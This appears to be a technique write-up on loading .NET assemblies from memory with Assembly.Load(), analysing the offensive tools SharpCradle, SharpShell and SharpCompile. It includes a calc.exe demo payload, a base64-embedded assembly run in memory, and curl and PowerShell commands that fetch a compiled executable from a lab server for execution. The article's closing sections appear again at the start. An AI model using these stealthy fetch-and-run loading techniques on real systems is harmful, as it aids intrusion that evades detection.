test.cs, sends it to the HTTP server (http:\u002F\u002F192.168.112.175), and saves the returned file as out.exe.\u003C\u002Fp>\u003Cp>Here, Wireshark is used to capture the communication data of the entire process, as shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770018805411_5_bfaea87782.jpeg\">\u003C\u002Fp>\u003Ch4>(3) SharpCompile.cna Test\u003C\u002Fh4>\u003Cp>In my testing environment, the exec(@command); command in SharpCompile.cna could not be executed, so the functionality of SharpCompile.cna could not be reproduced.\u003C\u002Fp>\u003Ch3>2. Implementation Process\u003C\u002Fh3>\u003Cp>However, the code logic of SharpCompile.cna is relatively straightforward, and the implementation process is as follows:\u003C\u002Fp>\u003Col>\u003Cli>Use the curl command to send the code file via POST to the HTTP server, receive the content, and save it locally.\u003C\u002Fli>\u003Cli>Execute the file.\u003C\u002Fli>\u003Cli>Delete the file.\u003C\u002Fli>\u003C\u002Fol>\u003Cp>SharpCompile does not use Assembly.Load() to load .NET assemblies from memory; instead, it saves them to the hard drive, executes them, and then deletes them.\u003C\u002Fp>\u003Cp>This can be further modified to use Assembly.Load() to load .NET assemblies from memory.\u003C\u002Fp>\u003Ch2>0x06 Comparison and Exploitation Ideas of Three Open-Source Projects\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>SharpCradle requires pre-compiled binary files to be stored on a remote server, downloaded, and then loaded into memory using Assembly.Load().\u003C\u002Fp>\u003Cp>SharpShell.API.SharpShell sends code files to a remote server, where the server uses the Roslyn C# compiler to generate binary files, which are then downloaded and loaded into memory using Assembly.Load().\u003C\u002Fp>\u003Cp>SharpCompile sends code files to a remote server, where the server uses csc.exe to generate binary files, which are then downloaded and executed directly on the local machine.\u003C\u002Fp>\u003Cp>The most feature-complete among them is SharpShell.API.SharpShell, with the following advantages:\u003C\u002Fp>\u003Cul>\u003Cli>The entire process is executed in memory without writing to the file system\u003C\u002Fli>\u003Cli>Can generate binary files for specified .NET versions\u003C\u002Fli>\u003Cli>Only requires payload in C# format, though pre-compiled binary files (must be .NET assemblies) can also be used\u003C\u002Fli>\u003C\u002Ful>\u003Cp>In terms of exploitation approach, Assembly.Load is similar to execute-assembly, with the difference lying in the payload format\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation method of Assembly.Load, analyzing details and summarizing exploitation ideas by combining three open-source projects: SharpCradle, SharpShell, and SharpCompile.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article \"Analysis of Exploitation Techniques for Loading .NET Assemblies from Memory (execute-assembly)\", the implementation method and exploitation approach of \"execute-assembly\" were introduced, which enables loading .NET assemblies from memory. This feature does not require writing files to the hard disk, making it highly stealthy.\u003C\u002Fp>\u003Cp>A similar method is Assembly.Load, which also allows loading .NET assemblies from memory.\u003C\u002Fp>\u003Cp>This article will introduce the implementation method of Assembly.Load and analyze exploitation approaches by combining three open-source projects.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Fundamental Knowledge\u003C\u002Fli>\u003Cli>Analysis of SharpCradle Exploitation\u003C\u002Fli>\u003Cli>Analysis of SharpShell Exploitation\u003C\u002Fli>\u003Cli>Analysis of SharpCompile Exploitation\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Fundamental Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.reflection.assembly.load?view=netframework-4.5\u003C\u002Fp>\u003Ch3>1. Differences between Assembly.Load(), Assembly.LoadFrom(), and Assembly.LoadFile()\u003C\u002Fh3>\u003Cp>Assembly.Load() loads an assembly from a String or AssemblyName type, capable of reading assemblies in string form, meaning the file does not need to be written to disk\u003C\u002Fp>\u003Cp>Assembly.LoadFrom() loads an assembly from a specified file and also loads other assemblies referenced and depended upon by the target assembly\u003C\u002Fp>\u003Cp>For example:\u003C\u002Fp>\u003Cp>Assembly.LoadFrom(\"a.dll\")—if a.dll references b.dll, both a.dll and b.dll will be loaded\u003C\u002Fp>\u003Cp>Assembly.LoadFile() also loads an assembly from a specified file but does not load other assemblies referenced and depended upon by the target assembly\u003C\u002Fp>\u003Cp>For example:\u003C\u002Fp>\u003Cp>Assembly.LoadFile(\"a.dll\")—if a.dll references b.dll, b.dll will not be loaded\u003C\u002Fp>\u003Ch3>2. Implementation example of Assembly.Load()\u003C\u002Fh3>\u003Ch4>(1) Writing a test program\u003C\u002Fh4>\u003Cp>The code for the test program is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>\tpublic class Program\u003Cbr>\t{\u003Cbr>\t\tpublic static void Main()\u003Cbr>\t\t{\u003Cbr>\t\t\tConsole.WriteLine(\"Main\");\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tpublic class aaa\u003Cbr>\t{\u003Cbr>\t\tpublic static void bbb()\u003Cbr>\t\t{\u003Cbr>\t\t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\u003Cbr>\t\t\tp.StartInfo.FileName = \"c:\\\\windows\\\\system32\\\\calc.exe\";\u003Cbr>\t\t\tp.Start();\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile using csc.exe:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe \u002Fout:testcalc.exe test.cs\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Generate testcalc.exe\u003C\u002Fp>\u003Ch4>(2) Read the content of testcalc.exe and perform base64 encryption\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Reflection;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>        public static void Main()\u003Cbr>        {\u003Cbr>\u003Cbr>            byte[] buffer = System.IO.File.ReadAllBytes(\"testcalc.exe\");\u003Cbr>            string base64str = Convert.ToBase64String(buffer);\u003Cbr>            Console.WriteLine(base64str);\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(3) Decrypt the string variable, restore the content of testcalc.exe, use Assembly.Load() to load the assembly and call method bbb\u003C\u002Fh4>\u003Cp>The code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>using System.Reflection;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>    public class Program\u003Cbr>    {\u003Cbr>        public static void Main()\u003Cbr>        {\u003Cbr>\u003Cbr>            string base64str = \"TVqQAAMAAAAEAAAA\u002F\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\";\u003Cbr>            byte[] buffer = Convert.FromBase64String(base64str);\u003Cbr>\u003Cbr>            Assembly assembly = Assembly.Load(buffer);\u003Cbr>            Type type = assembly.GetType(\"TestApplication.aaa\");\u003Cbr>            MethodInfo method = type.GetMethod(\"bbb\");\u003Cbr>            Object obj = assembly.CreateInstance(method.Name);\u003Cbr>            method.Invoke(obj, null);\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x03 SharpCradle Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fanthemtotheego\u002FSharpCradle\u003C\u002Fp>\u003Cp>SharpCradle supports downloading binary files from the web or file shares and loading them in memory\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This requires saving the compiled binary file on the remote server\u003C\u002Fp>\u003Cp>The code of SharpCradle is clear and intuitive. Here, the relevant code for calling Assembly.Load() is extracted as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>        public static void loadAssembly(byte[] bin, object[] commands)\u003Cbr>        {\u003Cbr>            Assembly a = Assembly.Load(bin);\u003Cbr>            try\u003Cbr>            {       \u003Cbr>                a.EntryPoint.Invoke(null, new object[] { commands });\u003Cbr>            }\u003Cbr>            catch\u003Cbr>            {\u003Cbr>                MethodInfo method = a.EntryPoint;\u003Cbr>                if (method != null)\u003Cbr>                {\u003Cbr>                    object o = a.CreateInstance(method.Name);                    \u003Cbr>                    method.Invoke(o, null);\u003Cbr>                }\u003Cbr>            }\u002F\u002FEnd try\u002Fcatch            \u003Cbr>        }\u002F\u002FEnd loadAssembly\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>It is worth noting that MethodInfo method = a.EntryPoint; indicates that the entry function is being called\u003C\u002Fp>\u003Cp>That is to say, the main functionality of the loaded assembly should be written in the Main function, as in the example code from 0x02:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>namespace TestApplication\u003Cbr>{\u003Cbr>\tpublic class Program\u003Cbr>\t{\u003Cbr>    \t\tpublic static void Main()\u003Cbr>    \t\t{\u003Cbr>        \t\tConsole.WriteLine(\"Main\");\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tpublic class aaa\u003Cbr>\t{\u003Cbr>    \t\tpublic static void bbb()\u003Cbr>    \t\t{\u003Cbr>        \t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\u003Cbr>        \t\tp.StartInfo.FileName = \"c:\\\\windows\\\\system32\\\\calc.exe\";\u003Cbr>        \t\tp.Start();\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When using SharpCradle for remote download and execution, only the content in the Main function is executed by default.\u003C\u002Fp>\u003Ch2>0x04 Analysis of SharpShell Exploitation\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fcobbr\u002FSharpShell\u003C\u002Fp>\u003Cp>SharpShell can quickly cross-compile .NET Framework console applications or libraries using the Roslyn C# compiler\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Only code files are required here, no compiled binaries\u003C\u002Fp>\u003Cp>SharpShell includes the following three sub-projects:\u003C\u002Fp>\u003Col>\u003Cli>SharpShell\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Uses the Roslyn C# compiler to compile input code, loads it into memory, and returns execution results\u003C\u002Fp>\u003Cp>Since Roslyn only works with .NET Core or .NET 4.6+ and does not support .NET 3.5 or .NET 4.0\u003C\u002Fp>\u003Cp>SharpShell here requires a .NET 4.6+ environment to run\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>In my test environment, .NET 4.5 can also run, as shown in the image below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018747957_0_a34f919e22-1.jpeg\">\u003C\u002Fp>\u003Col>\u003Cli>SharpShell.API\u003C\u002Fli>\u003C\u002Fol>\u003Cp>SharpShell.API requires a .NET Core development environment. Refer to the previous article 'SharpGen Usage Analysis' for SharpGen development environment configuration\u003C\u002Fp>\u003Cp>SharpShell.API uses ASP.NET Core 2.1 to invoke Roslyn as an HTTP server, receiving code from SharpShell.API.SharpShell, compiling it, and returning the generated binary file.\u003C\u002Fp>\u003Col>\u003Cli>SharpShell.API.SharpShell\u003C\u002Fli>\u003C\u002Fol>\u003Cp>SharpShell.API.SharpShell can be used in .NET 3.5 and .NET 4.0, sending code files via POST to the HTTP server, receiving the compiled binary file, loading it into memory, and returning the execution result.\u003C\u002Fp>\u003Cp>Here we only introduce the projects SharpShell.API and SharpShell.API.SharpShell related to Assembly.Load().\u003C\u002Fp>\u003Ch3>1. Test Environment Setup\u003C\u002Fh3>\u003Ch4>(1) SharpShell.API\u003C\u002Fh4>\u003Cp>Requires a .NET Core development environment.\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>git clone https:\u002F\u002Fgithub.com\u002Fcobbr\u002FSharpShell\u003Cbr>cd .\\SharpShell\\SharpShell.API\u003Cbr>dotnet build --configuration Release\u003Cbr>cd .\\bin\\Release\\netcoreapp2.1\u003Cbr>dotnet SharpShell.API.dll\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After starting SharpShell.API, visit: http:\u002F\u002F127.0.0.1:5000\u002Fswagger\u002Findex.html\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018756361_1_94f9a24db6-1.jpeg\">\u003C\u002Fp>\u003Ch4>(2)SharpShell.API.SharpShell\u003C\u002Fh4>\u003Cp>Requires Visual Studio development environment; after compilation, generates the file SharpShell.API.SharpShell.exe\u003C\u002Fp>\u003Cp>After launching, input the test command Shell.ShellExecute(\"whoami\");\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018768646_2_1f82171c15-1.jpeg\">\u003C\u002Fp>\u003Ch3>2. Implementation Process\u003C\u002Fh3>\u003Cp>Here, I use Wireshark to capture the communication data of the entire process, which is more intuitive, as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018785288_3_bf4d280460-1.jpeg\">\u003C\u002Fp>\u003Cp>The process is as follows:\u003C\u002Fp>\u003Col>\u003Cli>SharpShell.API.SharpShell sends a POST request\u003C\u002Fli>\u003Cli>After receiving the POST request, SharpShell.API replies with a confirmation message HTTP\u002F1.1 100 Continue\u003C\u002Fli>\u003Cli>SharpShell.API.SharpShell sends the code file in JSON format\u003C\u002Fli>\u003Cli>SharpShell.API receives the code file, compiles it using the Roslyn C# compiler, and replies with the generated content in base64 format\u003C\u002Fli>\u003Cli>SharpShell.API.SharpShell decrypts the received reply content from base64 and calls Assembly.Load() to load it\u003C\u002Fli>\u003C\u002Fol>\u003Cp>In summary, SharpShell.API.SharpShell also calls Assembly.Load() to load .NET assemblies from memory. The differences from SharpCradle are as follows:\u003C\u002Fp>\u003Cp>SharpCradle requires saving the compiled binary file on the remote server\u003C\u002Fp>\u003Cp>SharpShell only needs to send the code file to the remote server, without requiring the compiled binary file\u003C\u002Fp>\u003Ch2>0x05 SharpCompile Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FSpiderLabs\u002FSharpCompile\u003C\u002Fp>\u003Cp>SharpCompile consists of the following two parts:\u003C\u002Fp>\u003Col>\u003Cli>SharpCompileServer\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Acts as an HTTP server to receive code from POST requests, compiles it, and returns the generated binary file\u003C\u002Fp>\u003Cp>Here, csc.exe is used to compile the code, not the Roslyn C# compiler from SharpShell\u003C\u002Fp>\u003Cp>Default csc.exe version: C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\csc.exe\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Pay attention to whether the HTTP server and local .NET versions are consistent\u003C\u002Fp>\u003Col>\u003Cli>SharpCompile.cna\u003C\u002Fli>\u003C\u002Fol>\u003Cp>Cobalt Strike script file; before use, specify the HTTP server URL and the location to save the script file\u003C\u002Fp>\u003Cp>By default, curl is used to upload the code file to the HTTP server, so the test environment must have curl installed in advance\u003C\u002Fp>\u003Ch3>1. Actual Testing\u003C\u002Fh3>\u003Ch4>(1) Starting the HTTP server\u003C\u002Fh4>\u003Cp>SharpCompileServer requires a Visual Studio development environment; after compilation, it generates the file SharpCompileServer.exe\u003C\u002Fp>\u003Cp>Execute SharpCompileServer.exe to start the HTTP server, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770018794338_4_f26bf6738b-1.jpeg\">\u003C\u002Fp>\u003Ch4>(2) Functional testing of the HTTP server\u003C\u002Fh4>\u003Cp>Send POST-formatted code to the HTTP server and check the returned content\u003C\u002Fp>\u003Cp>Save the code file as test.cs with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>namespace TestCalc\u003Cbr>{\u003Cbr>    class Hello\u003Cbr>    {\u003Cbr>        static void Main(string[] args)\u003Cbr>        {\u003Cbr>            System.Diagnostics.Process.Start(\"calc.exe\");\u003Cbr>        }\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here, PowerShell and curl commands are used for testing respectively.\u003C\u002Fp>\u003Col>\u003Cli>powershell\u003C\u002Fli>\u003C\u002Fol>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Invoke-RestMethod -Uri http:\u002F\u002F192.168.112.175 -Method Post -InFile .\\test.cs -OutFile .\\out.exe\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>This command reads the content from test.cs, sends it to the HTTP server (http:\u002F\u002F192.168.112.175), and saves the returned file as out.exe.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The Invoke-RestMethod command requires PowerShell v3.0.\u003C\u002Fp>\u003Col>\u003Cli>curl\u003C\u002Fli>\u003C\u002Fol>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>curl --request POST --data-binary @test.cs -o out.exe http:\u002F\u002F192.168.112.175 